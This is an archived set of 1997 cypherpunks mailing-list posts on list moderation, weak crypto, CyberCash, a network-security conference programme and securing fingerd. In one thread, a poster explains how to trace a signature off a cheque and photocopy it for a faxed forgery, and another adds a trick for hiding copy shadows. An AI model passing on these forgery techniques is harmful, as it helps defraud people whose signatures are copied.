Well, the irritating part is that I think he's pushing the wrong
envelope.  Why anyone would expect any particular degree of 
"freedom" to use a service run for free by a private individual
is beyond me.

I appreciate the service, but I don't take it for granted and I
certainly don't take it as an inalienable right.

^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^
Mike McNally -- Egregiously Pointy -- Tivoli Systems, "IBM" -- Austin
mailto:m5@tivoli.com    mailto:m101@io.com    http://www.io.com/~m101
^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike McNally <m5@vail.tivoli.com>
Date: Tue, 21 Jan 1997 04:41:27 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Quantum computers/Java of a different sort
In-Reply-To: <199701202143.NAA19177@toad.com>
Message-ID: <32E4B968.28DA@vail.tivoli.com>
MIME-Version: 1.0
Content-Type: text/plain


Mike McNally poorly edited a forwarded note:
> ... junk ...

Sorry.

-- 
^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^
Mike McNally -- Egregiously Pointy -- Tivoli Systems, "IBM" -- Austin
mailto:m5@tivoli.com    mailto:m101@io.com    http://www.io.com/~m101
^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike McNally <m5@vail.tivoli.com>
Date: Tue, 21 Jan 1997 07:10:49 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Quantum computers/Java of a different sort
Message-ID: <199701211510.HAA06980@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Mike McNally poorly edited a forwarded note:
> ... junk ...

Sorry.

-- 
^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^
Mike McNally -- Egregiously Pointy -- Tivoli Systems, "IBM" -- Austin
mailto:m5@tivoli.com    mailto:m101@io.com    http://www.io.com/~m101
^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 21 Jan 1997 07:11:19 -0800 (PST)
To: Bill Campbell <wcampbel@peganet.com>
Subject: Re: Dr. Vulis' social engineering "experiment"
In-Reply-To: <199701210718.CAA16490@mercury.peganet.com>
Message-ID: <32E4DC86.37C2@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Bill Campbell wrote:
> Toto <toto@sk.sympatico.ca wrote:

Good points all, Bill.  Now, just turn the pointed finger around
slightly so that (for some of the issues at least) it points
towards the providers/managers/moderators, etc.  Wouldn't it be a
gas if this were part of the Grand Plan, waiting only for the
provocation?  They can argue that one person's posts have worse
content than others (or argue the Spam motive), but really,
what's it all about besides control?  All of you long-time guys
survived the war without the moderator's help, am I right?

>   As a long time lurker (much longer than many of the numerous
> relatively recent vociferous posters) I *must* speak up.
>   If the dear "Doctor's" posting are indeed a "grand" experiment
> in newsgroup (or maillist) sociology, then it seems they are akin to
> experiments in recent history; if the patient dies, so what? There are
> other lists...
>   While many of you think that the ability of a list to withstand
> constant spamming is an important issue; the government is busily
> working to outlaw encryption and privacy, and I fear that much
> is lost by the side issue of the "how easily can I kill a list".
> I feel we at a *critical* crossroads in this debate, and one of the
> more important voices has *very* effectively been silenced.[snip]
>   This is very true, but I cannot understand why you think that
> the attempt to disrupt and destroy this list a necessary step
> in the task of resisting this governmental effort.[mo' snip]
>   Again, I can't understand why "killing the messenger" is advancing
> the issues of privacy and crypto issues. How does the posting of
> numerous crude anti-Tim May messages promote personal privacy?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 21 Jan 1997 08:41:14 -0800 (PST)
To: Bill Campbell <wcampbel@peganet.com>
Subject: Re: Dr. Vulis' social engineering "experiment"
Message-ID: <199701211641.IAA08041@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Bill Campbell wrote:
> Toto <toto@sk.sympatico.ca wrote:

Good points all, Bill.  Now, just turn the pointed finger around
slightly so that (for some of the issues at least) it points
towards the providers/managers/moderators, etc.  Wouldn't it be a
gas if this were part of the Grand Plan, waiting only for the
provocation?  They can argue that one person's posts have worse
content than others (or argue the Spam motive), but really,
what's it all about besides control?  All of you long-time guys
survived the war without the moderator's help, am I right?

>   As a long time lurker (much longer than many of the numerous
> relatively recent vociferous posters) I *must* speak up.
>   If the dear "Doctor's" posting are indeed a "grand" experiment
> in newsgroup (or maillist) sociology, then it seems they are akin to
> experiments in recent history; if the patient dies, so what? There are
> other lists...
>   While many of you think that the ability of a list to withstand
> constant spamming is an important issue; the government is busily
> working to outlaw encryption and privacy, and I fear that much
> is lost by the side issue of the "how easily can I kill a list".
> I feel we at a *critical* crossroads in this debate, and one of the
> more important voices has *very* effectively been silenced.[snip]
>   This is very true, but I cannot understand why you think that
> the attempt to disrupt and destroy this list a necessary step
> in the task of resisting this governmental effort.[mo' snip]
>   Again, I can't understand why "killing the messenger" is advancing
> the issues of privacy and crypto issues. How does the posting of
> numerous crude anti-Tim May messages promote personal privacy?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 21 Jan 1997 08:20:23 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: GSM technology
In-Reply-To: <199701210410.UAA28002@toad.com>
Message-ID: <40uV1D91w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Nurdane Oksas <oksas@asimov.montclair.edu> writes:

>
>
> 	ADSL will be the best for movies... i can't wait .

What kind of movies?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Date: Tue, 21 Jan 1997 08:55:45 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: GSM technology
Message-ID: <199701211655.IAA08156@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Nurdane Oksas <oksas@asimov.montclair.edu> writes:

>
>
> 	ADSL will be the best for movies... i can't wait .

What kind of movies?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 21 Jan 1997 08:21:58 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Dr. Vulis' social engineering experiment
In-Reply-To: <199701210610.WAA29970@toad.com>
Message-ID: <RDVV1D92w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Jane Jefferson <gotagun@liii.com> writes:
> The heart and soul of the problem is that "sin", "freedom", "good",
> and "evil" are abstract concepts which fluctuate from individual to
> individual. If Dr. Vulis is indeed an adjunct professor at Fordham
> University, I think that perhaps he has been hanging out and drinking
> too many beers with my former philosophy professor Quentin Lauer. ;-7

I haven't been teaching at Fordham for a few years.
(It's too far and the pay's too low. :-)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Date: Tue, 21 Jan 1997 08:55:59 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Dr. Vulis' social engineering experiment
Message-ID: <199701211655.IAA08166@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Jane Jefferson <gotagun@liii.com> writes:
> The heart and soul of the problem is that "sin", "freedom", "good",
> and "evil" are abstract concepts which fluctuate from individual to
> individual. If Dr. Vulis is indeed an adjunct professor at Fordham
> University, I think that perhaps he has been hanging out and drinking
> too many beers with my former philosophy professor Quentin Lauer. ;-7

I haven't been teaching at Fordham for a few years.
(It's too far and the pay's too low. :-)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter Trei" <trei@process.com>
Date: Tue, 21 Jan 1997 06:15:47 -0800 (PST)
To: Mike McNally <cypherpunks@toad.com
Subject: Re: Quantum computers/Java of a different sort
Message-ID: <199701211415.GAA06453@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


> From:          Mike McNally <m5@vail.tivoli.com>
> To:            cypherpunks@toad.com
> Subject:       Quantum computers/Java of a different sort

> For all you quantum computer fans, see 
> 
> 	http://sciencenow.sciencemag.org/html/970117c.htm
> -- 
> Mike McNally -- Egregiously Pointy -- Tivoli Systems, "IBM" -- Austin

Shades of the Infinite Improbability Drive!
(cf Hitchhikers Guide to the Galaxy)

Peter Trei
trei@process.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Peter Trei <trei@process.com>
Date: Tue, 21 Jan 1997 07:10:53 -0800 (PST)
To: Mike McNally <cypherpunks@toad.com
Subject: Re: Quantum computers/Java of a different sort
Message-ID: <199701211510.HAA06989@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


> From:          Mike McNally <m5@vail.tivoli.com>
> To:            cypherpunks@toad.com
> Subject:       Quantum computers/Java of a different sort

> For all you quantum computer fans, see 
> 
> 	http://sciencenow.sciencemag.org/html/970117c.htm
> -- 
> Mike McNally -- Egregiously Pointy -- Tivoli Systems, "IBM" -- Austin

Shades of the Infinite Improbability Drive!
(cf Hitchhikers Guide to the Galaxy)

Peter Trei
trei@process.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 21 Jan 1997 10:33:55 -0800 (PST)
To: m5@vail.tivoli.com
Subject: Re: Dr. Vulis' social engineering experiment
In-Reply-To: <199701210140.RAA25601@toad.com>
Message-ID: <32E51979.5369@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Mike McNally wrote:

>   Why anyone would expect any particular degree of
> "freedom" to use a service run for free by a private individual
> is beyond me.

  I agree, totally.
  Just because an individual claims, rightly or wrongly, to be a
big defender of freedom, involving himself or herself in causes
like those of the Electronic Freedom Foundation, does not take
away their right to stomp on anyone who disagrees with them on
their own private list.
  To claim otherwise would be as ludicrous as denying the person
running the Anonymizer the right to expose the identities of the
people he feels might perhaps be abusing his private system, or
using it for nefarious purposes, such as hiding their identity 
from others.

Toto
 
> I appreciate the service, but I don't take it for granted and I
> certainly don't take it as an inalienable right.
> 
> ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^
> Mike McNally -- Egregiously Pointy -- Tivoli Systems, "IBM" -- Austin
> mailto:m5@tivoli.com    mailto:m101@io.com    http://www.io.com/~m101
> ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
Date: Tue, 21 Jan 1997 10:49:45 -0800 (PST)
To: "'Sean Roach'" <cypherpunks@toad.com>
Subject: RE: Newt's phone calls
Message-ID: <01BC07A2.188A3B60@crecy.ai.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain




get everything needed on a signed cheque.
>
>A check is no good, most checks are now printed on paper with special lines
>that are supposed to become obvious after copying.  A signed letter or even
>a mailing envelope would probably be better. 

Actually for the purposes of fax you can trace the signature 
off the check and then photocopy the traced outline. If you
use Mellonex film you can get a very good impression. 


> Also, scotch tape makes those
>pexky shadows disapear like magic.  My dad uses it to make multiple versions
>of make-up math tests that trivially look like the origional in order to
>goad persons who were sick on test day so that they could get the answers
>from someone else into printing down those answers and getting less than
>random probability. (multiple choice)

When I used to do layout of artwork for a magazine we used to 
use white out to get rid of the shadow lines. There is a
particularly good version available in the UK which comes in
a red bottle with a flow cap on it. Much better than the crappy 
pot 'n brush system which is always going hard as the 
solvent evaporates.


		Phill

PS: I hasten to add that my experience of fraud techniques comes 
from trying to stop them.

PPS: In the days of electronic mail why do people need PS's?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Tue, 21 Jan 1997 12:33:49 -0800 (PST)
To: Lucky Green <shamrock@netcom.com>
Subject: Netscape to use Cybercash?
In-Reply-To: <3.0.32.19970120210810.006dd5cc@192.100.81.126>
Message-ID: <199701212033.MAA29427@netcom17.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


(S.Schear tells me that he thinks the lack of anonymity in
payment schemes is what is primarily what is holding them
back, not good GUI interfaces. I consider this hogwash,
but maybe we can agree to disagree.)

Lucky Green writes:
>Netscape has announce that Navigator will ship with CyberCash. 
>There is definitely movement at the browser/server end.

whoa, I missed this. was there any discussion on this list? or
is it just because we are drowning in noise? any more specifics?
I personally am hoping for a point-and-click interface with
the piggybank/cost HTML tag scenario I described. also, any ETA?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: korinne@datasec.net (Korinne)
Date: Tue, 21 Jan 1997 09:46:25 -0800 (PST)
To: cypherpunks@toad.com
Subject: DATANET SECURITY 97 PROGRAM
Message-ID: <3.0.32.19970121124807.00a319e0@datasec.net>
MIME-Version: 1.0
Content-Type: text/plain



Conference program Datanet Security 1997
Annual International Conference and Exhibition on Wide Area Network Security

FEBRUARY 17 - 18 - 19 - 20, 1997
HYATT REGENCY MIAMI
HOTEL & CONVENTION CENTER

All lectures and presentations have been confirmed

Keynote speakers:   Monday  February 17, 1997
The 1997 Datanet Security conference will be opened with a keynote address
by Dr. Ruth A. David, Deputy Director Science & Technology of the Central
Intelligence Agency.
 
Following the opening address, Mr. Stuart A. Baker will deliver a keynote
speech "Legal Aspects of Network Security".  Stuart Baker is partner with
Steptoe & Johnson in Washington DC, and former lead counsel for the
National Security Agency.

Keynote speakers: Tuesday February 18, 1997
The second day of the Annual Datanet Security Conference is highlighted
with a presentation by Dr. Rob Kolstad "Non-Security Issues Affecting the
Future of the Internet". Rob Kolstad is President of BSDI Inc.

"What's Slowing down Deployment of Security ?" is the title of the next
keynote address by Novell's Chief Security Architect, Dr. Radia Perlman.
She was featured in the 20th anniversary edition of Data Communications
magazine as one of 20 most influential people in the field of computer
networking. 

Keynote speaker:  Wednesday February 19, 1997
This conference day we feature Mr. Scott Charney as a prominent keynote
speaker.  Scott Charney is the principal government authority on computer
crime. He heads the federal prosecutors and leads the Computer Crime and
Intellectual Properties Section within the Department of  Justice. 


ADVANCED TECHNOLOGY PROGRAM
Monday February 17, 1997

ELECTRONIC INTELLIGENCE
"Intelligence Behind the Journal Intelligence"  - Olivier Schmidt
Olivier Schmidt is founding editor of several important international
professional news journals and expert
publications. Among these "Parapolitics", "Intelligence Newsletter" and
"Intelligence". He co-authored
"Intelligences Secretes" and "OSS et la Resistance Francaise". He lives and
works in Paris, France.

"The King of Secret Readers: Edgar Allen Poe, William Friedman, and the
Logic of the Cold War" -
Professor Shawn Rosenheim
Shawn J. Rosenheim is Associate Professor of English at Williams College
(Williamstown, Mass.), and a founding  member of the Communications
Technologies Research Group. His most recent publication is "The
Cryptographic Imagination: Secret Writing from Edgar Poe to the Internet"
(Johns Hopkins University Press, 1996)

DISCUSSION PANEL
Traditional versus New Technologies: A Challenge for the Intelligence
Communities
Session and Panel Chairman - David Whipple
David Whipple is Executive Director of the Association of Former
Intelligence Officers, AFIO. As no other Mr. Whipple is able to illustrate
the traditional methods of information gathering. 

INTERNET SECURITY
The Changing Role of the Firewall - Stephen Flaig
Mr. Flaig is Vice President for LanOptics Inc., developers of the Guardian
firewall.

Network Access Flexibility through RADIUS - David Dawson
David Dawson is General Manager Network Security Business Unit for Ascend
Communications Inc.
Previously he was Chief Executive Officer of Morningstar Technologies Inc.
He holds a BS in Electrical
Engineering from the US Military Academy at West Point.

Internet Security and the IBM Firewall - Peter Crotty
Peter Crotty is worldwide responsible for IBM's technical firewall support
program.

Secure Access: If you don't have security everywhere, you don't have it
anywhere ! - Doug LaBorde
Mr. LaBorde is Manager with the Network Security Business Unit of Ascend
Communications.

NT SECURITY
Windows NT Security: Networked Perspectives - Charles Rutstein
Charles Rutstein is Principal Consultant with Price Waterhouse, and has
extensive front line computer and
network security experience. He authored several books on computer viruses.
His latest work, dealing with
Windows NT security, has just been released.

NT Internet Security - Firewalls, Web-servers, and Vulnerabilities - Bill
Stout
Bill Stout is network security analyst and senior systems administrator
with Hitachi Data Systems. He
specializes in Windows NT security issues.

VIRUSES
Viruses and the Internet; email, Java, Active-X; the new virus carriers -
Thierry Giron
Thierry Giron holds a Computer Science Hon. degree from Middlesex
University (London, UK), and a
Business degree from ESC in Reims, France. He joined Trend Micro in Taiwan
in 1992, and is since Trend's Customer Engineering Manager for the North
American offices.

Minimizing the Virus Threat - Glenn Jordan
Glenn Jordan is the leading virus technology expert with Dr. Solomon, and
is an established member of the
Computer Anti-virus Research Organization, an international network of
anti-virus researchers. Mr. Jordan is a graduate of the University of North
Carolina.

Tuesday February 18, 1997

INTERNET SECURITY
Cyber Thieves - Gregg Lebovitz
Gregg Lebovitz is Director of Security Products at BBN Planet. Mr. Lebovitz
spent 15 years at
Carnegy-Mellon University, designing, implementing and deploying network
routers and distributed
applications.

Accounting for Square-Root Attacks in Cryptographic Design - Michael Wiener
Michael Wiener is senior cryptologist with Entrust Technologies (formerly
Nortel Secure Networks). His
expertise is in the area of cryptanalysis, authentication, and key-exchange
protocols, public-key infrastructures, design of cryptographic systems, and
high-speed implementations of public-key cryptosystems. He is agraduate of
the University of Waterloo (Canada). 

Virtual Private Networking: Integrating Internet and Intranet Security -
Tony Rosati
Tony Rosati is co-founder and Vice President for TimeStep Corporation. He
leads design teams ranging from the development of public-key and DES based
integrated circuits to the development of system level
communications security solutions utilizing cryptographic techniques.  

Approaching End-to-End Security - Paul Ferguson
Paul Ferguson is a senior expert with Cisco Systems. His principal
disciplines are Internet security, large-scale routing and design
architecture.

NETWORK SECURITY
Assurance in Products for the Internet - Alan Borrett
Alan Borrett is member of the UK IT Evaluation & Certification Scheme,
under authority of Her Majesty's Government Communications Headquarters (GCHQ)

Computer Security in the Third World: The Mexican Case - Prof. Guillermo
Mallen
Professor Mallen teaches and researches at the Ibero-Americana University
in Mexico. He is a former
President of the Mexican Academy of Informatics. 

Single Point Security: The Unisys Vision for Enterprise Security
Administration - William Buffam
William Buffam is software architect with Unisys Corp. His background is in
operating systems, networking, and solution engineering. He holds a
Computer Science degree from the University of Manchester.

Security Solutions for the Internet - Eli Herscovitz
Mr. Herscovitz is founder of RadGuard Ltd., provider of secure datanetwork
systems. He chairs the
Networking Security Standardization Committee of the Standards Institute of
Israel.

TUTORIAL
Hacker Tools & Techniques and Intrusion Testing - A dual presentation by
Edward Skoudis and Cynthia Cullen
Cynthia Cullen is a senior consultant with Bell Communications Research
Security and Fraud Management.  Edward Skoudis is a senior expert in
network security issues with Bellcore's Navesink Research Center.

Wednesday February 19, 1997

COMPUTER CRIME
Network Security's Future - Glenn Gianino
Glenn Gianino is Vice President of Advanced Technology with Computer
Associates International. His
responsibilities included all systems software and hardware including
micro, midrange, and mainframe systems, as well as all networking, SNA,
wide area networks and Internet services. His most recent assignment
involves networking security on all platforms and operating systems.

Mining the Information Klondike: CINet, a tool to fight organized crime -
Robert Heibel
Robert Heibel is Director of the research/intelligence analyst program at
Mercyhurst College (PA). A 25-year veteran of the Federal Bureau of
Investigation, he served as its Deputy Chief of Counterterrorism. Mr.
Heibel is also Executive Director of the Center for Information Research,
Analysis, and Training at Mercyhurst. Mr. Heibel is a graduate of
Georgetown University.

Digital Cash is hard to regulate - Prof. Michael Froomkin
Professor Michael Froomkin is associate professor at the University of
Miami, School of Law at Coral Gables. He specializes in Internet law and
related aspects. Professor Froomkin is a graduate of the Yale Law School,
and has a M.Phil. in history of international relations from Cambridge
University (UK). He is a Fellow of the Cyberspace Law Institute.

Smart Cards: the Coming Wave - James Chen
James Chen is founder and President of V-One Corp., a provider of network
and internetwork security
solutions. Previously Mr Chen was head of the ground network engineering
division for Intelsat, responsible for satellite launches. 

Electronic Commerce on the Internet - Tom Carty
Tom Carty is Director of CyberTrust, a division of GTE. Mr. Carty was
responsible for the information
security privacy organization and architecting key management systems with
GTE. He is a graduate of the
University of Connecticut and Boston University.

ATM: An Emerging Network Technology - Michael Guzelian
Michael Guzelian has over 15 years experience in and knowledge of
authentication, bandwidth-on-demand, and security issues that face large
public networks.

DISCUSSION PANEL
High Integrity/Mission Critical Systems
Session and Panel Chairman - Donald L. Evans
Presentations by: Donald Evans, Timothy Stacey and Robert Smock
Donald Evans is senior security engineer and senior member of the Johnson
Space Center Mission Operations Directorate AIS Security Engineering Team,
providing assistance to NASA in developing and maintaining the IS security
program for the Space Station and Shuttle ground based programs. He is an
advisory board member for the NSA Systems Security Engineering Capability
Maturity Model, and a member of the Presidential Sub-committee of the US
Security Policy Board.
Timothy Stacey was involved with security development for NASA's Space
Shuttle and Space Station
programs and software engineering in support of NASA and the US Air Force
Space Command Systems. He is currently a information security expert with
SAIC Space Operations.
Robert Smock is head of Flight Operations Information Security Program at
United Space Alliance, responsible for providing the primary government
contractor support for the protection of NASA's ground-based information
resources, which support Space Shuttle and Space Station flight operations
at the Johnson Space Center in Houston, Texas.Mr Smock holds a degree in
Computer Science.

TUTORIAL
Network Security: PRIVATE Communication in a PUBLIC World
Dr. Radia Perlman and Charlie Kaufman
Radia Perlman is Chief Security Architect for Novell, Inc. She is known for
the invention of the spamming tree algorithm used by bridges, and many of
the algorithms used for routing, including the design of a network that can
withstand a denial of service attack. She is the author of two textbooks.
She has a PhD from MIT.
Charlie Kaufman is security architect for Lotus Notes/Domino. He is the
chair of the web transaction security working group of the IETF. He is on
the National Academy of Sciences expert panel on computer system
trustworthiness. He is coauthor with Radia Perlman, of the book "Network
Security: Private Communications in a Public World".

Thursday February 20, 1997

INTERNET SECURITY
Fighting Piracy on the Net - Peter Beruk
Peter Beruk is Director of Domestic Anti-Piracy with the Software
Publishers Association.

Internet and Server Security - Joshua Peleg
Joshua Peleg is the Director of Technical services with Memco Software. Mr.
Pelegs expertise is in security, disaster recovery and system level
programming. Joshua gained much of his experience while in the Israeli
military defense forces.

Is your Company a Hackers Help Desk ? - Steve Ritger
Steve Ritger is security engineer with SRA International. His expertise is
information and network security as well as fraud detection and prevention.

JAVA SECURITY
Security and "Live" content: A Java Perspective - Peter Coffee
Peter Coffee is advanced technologies analyst for PC Week Labs. He has
taught information systems
management, management science and expert systems development for
Pepperdine University, Chapman
College, and UCLA. He is the author of "How to program Java". Mr. Coffee is
a graduate of MIT and
Pepperdine University.

TUTORIAL
World Wide Web Security
Arthur Donkers
Arthur Donkers is founder of Le Reseau, an independent security consulting
firm in The Netherlands
(Europe). He is a graduate of Delft University of Technology, and holds a
degree in Electrical Engineering. He authors a monthly column on system
administration and security aspects in SysAdmin Magazine.


------------0----------------
 
Datanet Security 97 is sponsored by the National Association of Webmasters,
SysAdmin Magazine, Sprint, and CMP Network Computing Magazine. 


---------------------------0--------------------------
Participation in Datanet Security 97 is $ 845. This includes admission to
all conference sessions, tutorials and discussion panels, as well as
lunches during the four days, a banquet, and a cruise to the Bahama islands
(including breakfast, lunch, dinner and show).  You can pay on-line via a
secure web transaction with all major credit cards. A special hotel
arrangement has been made with Hyatt Regency Miami, making discounted room
rates available to all participants.

The web page with full information is available at http://www.datasec.net
Alternatively you can fax 941 775 1533, or email ds97@datasec.net.

=========================================================================






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeff Barber <jeffb@issl.atl.hp.com>
Date: Tue, 21 Jan 1997 09:38:16 -0800 (PST)
To: hallam@ai.mit.edu (Phillip M. Hallam-Baker)
Subject: Re: Newt's phone calls
In-Reply-To: <01BC0792.3DE1F750@crecy.ai.mit.edu>
Message-ID: <199701211754.MAA13564@jafar.issl.atl.hp.com>
MIME-Version: 1.0
Content-Type: text/plain


Phillip M. Hallam-Baker writes:

> Adam Back <aba@dcs.ex.ac.uk> wrote in article <5bp18k$1cc@life.ai.mit.edu>...

> > It could be worse to have poor crypto, than no crypto,
> 
> I disagree for two reasons,

[ snip]

> The danger in weak crypto is thinking that it is strong crypto. GSM is
> weak crypto but stops the type of snooping the Martins engaged in.
> If you know not to talk about something secret on one then low
> crypto is better than having a signal anyone can pick up on a 
> device from radio shack.

No, the real danger in weak crypto is that the poorly-informed will not
think about it *at all*.  If we had "poor crypto", Newt probably wouldn't
have been embarrassed by this sort of casual interception, and the issue
wouldn't have been raised in the public mind.  But our communications
still wouldn't be safe from more determined attackers.  Brouhahas like
these are good for the pro-(strong-)crypto agenda.


-- Jeff




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Tue, 21 Jan 1997 13:20:24 -0800 (PST)
To: "Vladimir Z. Nuri" <vznuri@netcom.com>
Subject: Re: Netscape to use Cybercash?
Message-ID: <3.0.32.19970121132141.006ec8e0@192.100.81.126>
MIME-Version: 1.0
Content-Type: text/plain


At 12:33 PM 1/21/97 -0800, Vladimir Z. Nuri wrote:
>Lucky Green writes:
>>Netscape has announce that Navigator will ship with CyberCash. 
>>There is definitely movement at the browser/server end.
>
>whoa, I missed this. was there any discussion on this list? or
>is it just because we are drowning in noise? any more specifics?

Netscape put out a press release on this in October (?). That's all I know. Look at their web site.




-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred
   Make your mark in the history of mathematics. Use the spare cycles of
   your PC/PPC/UNIX box to help find a new prime.
   http://www.mersenne.org/prime.htm




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Nurdane Oksas <oksas@asimov.montclair.edu>
Date: Tue, 21 Jan 1997 10:24:19 -0800 (PST)
To: Jane Jefferson <gotagun@liii.com>
Subject: Re: Dr. Vulis' social engineering experiment
In-Reply-To: <199701210535.AAA05654@oak.liii.com>
Message-ID: <Pine.SOL.3.93.970121131859.9123B-100000@pegasus.montclair.edu>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 21 Jan 1997, Jane Jefferson wrote:
> Also Sprach Toto:
> > 
> >   If what you say is true, then Dr. DV K's efforts are quite possibly 
> > the most important issue being addressed in this conference, because
> > behind free speech, lies the most important issue of all--when does
> > it start, and when does it stop.
> 
> Exactly. 
>  
> >   The military-industrial complex proclaims this necessary for the
> > purposes of state-security, and denies that it is used in order to keep 
> > their 'sins' from being exposed. (If you believe this, then please 
> > contact me by private email regarding an ocean-front property I have
> > available in Tucson, AZ.  If you act quickly, I will throw in a set
> > of the Amazing Ginzu Knives as an added bonus.)
> 
> The heart and soul of the problem is that "sin", "freedom", "good", 
> and "evil" are abstract concepts which fluctuate from individual to 
> individual. If Dr. Vulis is indeed an adjunct professor at Fordham 
> University, I think that perhaps he has been hanging out and drinking
> too many beers with my former philosophy professor Quentin Lauer. ;-7 

	You know smoking causes wrinkles...
	:)
	





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 21 Jan 1997 11:26:22 -0800 (PST)
To: cypherpunks@toad.com
Subject: fingerd
In-Reply-To: <BC6A1C13322@seebeck.ua.edu>
Message-ID: <32E53432.DC6@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


> >        Lynx 2.6 is the "latest" for UNIX and they "got" mine.  However,
> >someone suggesed that it may have been done through finger as well, and
> >since my ocmputer is a UNIX box...the people using UNIX shells are gonna
> >get nailed too...
> 
> Couple of things you can do:
> 
>     1.  Comment out "fingerd" in /etc/inetd.conf and refresh
>     2.  Install a more secure "fingerd" such that it only
>         allows "finger `userid@node.domain`" instead of
>         "finger `@node.domain`".
> 
> While I've seen #2 in action, I don't know where to go to snarf it.  I just
> use #1.

  Anyone know where to 'snarf it'?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Nurdane Oksas <oksas@asimov.montclair.edu>
Date: Tue, 21 Jan 1997 10:25:39 -0800 (PST)
To: "Igor Chudov @ home" <ichudov@algebra.com>
Subject: Re: Dr. Vulis' social engineering experiment
In-Reply-To: <199701210627.AAA00614@manifold.algebra.com>
Message-ID: <Pine.SOL.3.93.970121132429.9123C-100000@pegasus.montclair.edu>
MIME-Version: 1.0
Content-Type: text/plain




On Tue, 21 Jan 1997, Igor Chudov @ home wrote:

> Jane Jefferson wrote:
> > 
> > The heart and soul of the problem is that "sin", "freedom", "good", 
